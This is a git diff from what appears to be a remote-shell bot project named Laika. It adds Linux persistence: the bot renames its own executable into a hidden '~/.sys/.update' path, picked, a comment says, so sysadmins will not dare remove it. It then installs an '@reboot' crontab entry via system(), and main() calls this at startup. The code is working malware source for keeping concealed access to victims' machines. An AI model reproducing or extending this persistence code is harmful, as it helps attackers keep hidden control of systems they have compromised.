diff --git a/bot/include/persist.h b/bot/include/persist.h index 7807871..4b8070d 100644 --- a/bot/include/persist.h +++ b/bot/include/persist.h @@ -1,6 +1,9 @@ #ifndef LAIKA_PERSIST_H #define LAIKA_PERSIST_H +/* undefine to enable persistence */ +#define LAIKA_NOINSTALL + #include /* check if laika is already running */ diff --git a/bot/lin/linpersist.c b/bot/lin/linpersist.c index 371a12a..734fb46 100644 --- a/bot/lin/linpersist.c +++ b/bot/lin/linpersist.c @@ -2,13 +2,21 @@ /* this is only used to check if another instance of laika is currently running */ #define LAIKA_RESERVED_PORT 32876 +#define LAIKA_TMP_FILE "/tmp/laikaTMP" + +/* most sysadmins probably wouldn't dare remove something named '.sys/.update' */ +#define LAIKA_INSTALL_DIR_USER ".sys" +#define LAIKA_INSTALL_FILE_USER ".update" #include "persist.h" #include "lsocket.h" #include "lerror.h" +#include "lmem.h" #include #include +#include +#include static struct sLaika_socket laikaB_markerPort; @@ -51,31 +59,62 @@ void getCurrentExe(char *outPath, int pathSz) { int sz; /* thanks linux :D */ - if ((sz = readlink("/proc/self/exe", outPath, pathSz - 1)) != 0) + if ((sz = readlink("/proc/self/exe", outPath, pathSz - 1)) == -1) LAIKA_ERROR("Failed to grab current process executable path!\n"); outPath[sz] = '\0'; } -void tryPersistUser(char *path) { +void getInstallPath(char *outPath, int pathSz) { + struct stat st; + const char *home; + /* try to read home from ENV, else get it from pw */ + if ((home = getenv("HOME")) == NULL) { + home = getpwuid(getuid())->pw_dir; + } + + /* create install directory if it doesn't exist */ + snprintf(outPath, pathSz, "%s/%s", home, LAIKA_INSTALL_DIR_USER); + LAIKA_DEBUG("creating '%s'...\n", outPath); + if (stat(outPath, &st) == -1) + mkdir(outPath, 0700); + + snprintf(outPath, pathSz, "%s/%s/%s", home, LAIKA_INSTALL_DIR_USER, LAIKA_INSTALL_FILE_USER); } -void tryPersistRoot(char *path) { +void tryPersistCron(char *path) { + char cmd[PATH_MAX + 128]; + /* should be 'safe enough' */ + snprintf(cmd, PATH_MAX + 128, "(crontab -l ; echo \"@reboot %s\")| crontab -", path); + + /* add laika to crontab */ + if (system(cmd)) + LAIKA_ERROR("failed to install '%s' to crontab!\n", path); + + LAIKA_DEBUG("Installed '%s' to crontab!\n", path); } /* try to gain persistance on machine */ void laikaB_tryPersist() { +#ifndef LAIKA_NOINSTALL char exePath[PATH_MAX]; + char installPath[PATH_MAX]; - /* grab current process's executable & try to gain persistance */ + /* grab current process's executable & get the install path */ getCurrentExe(exePath, PATH_MAX); - if (laikaB_checkRoot()) { - tryPersistRoot(exePath); - } else { - tryPersistUser(exePath); - } + getInstallPath(installPath, PATH_MAX); + + /* move exe to install path */ + if (rename(exePath, installPath)) + LAIKA_ERROR("Failed to install '%s' to '%s'!\n", exePath, installPath); + + LAIKA_DEBUG("Successfully installed '%s'!\n", installPath); + + /* enable persistence on reboot via cron */ + tryPersistCron(installPath); +#endif } /* try to gain root */ diff --git a/bot/src/main.c b/bot/src/main.c index cdb16ab..9ca0742 100644 --- a/bot/src/main.c +++ b/bot/src/main.c @@ -5,6 +5,7 @@ #include "ltask.h" #include "bot.h" #include "shell.h" +#include "persist.h" struct sLaika_taskService tService; @@ -18,6 +19,9 @@ void shellTask(struct sLaika_taskService *service, struct sLaika_task *task, clo int main(int argv, char *argc[]) { struct sLaika_bot *bot = laikaB_newBot(); + /* install persistence */ + laikaB_tryPersist(); + /* init task service */ laikaT_initTaskService(&tService); laikaT_newTask(&tService, 100, shellTask, (void*)bot);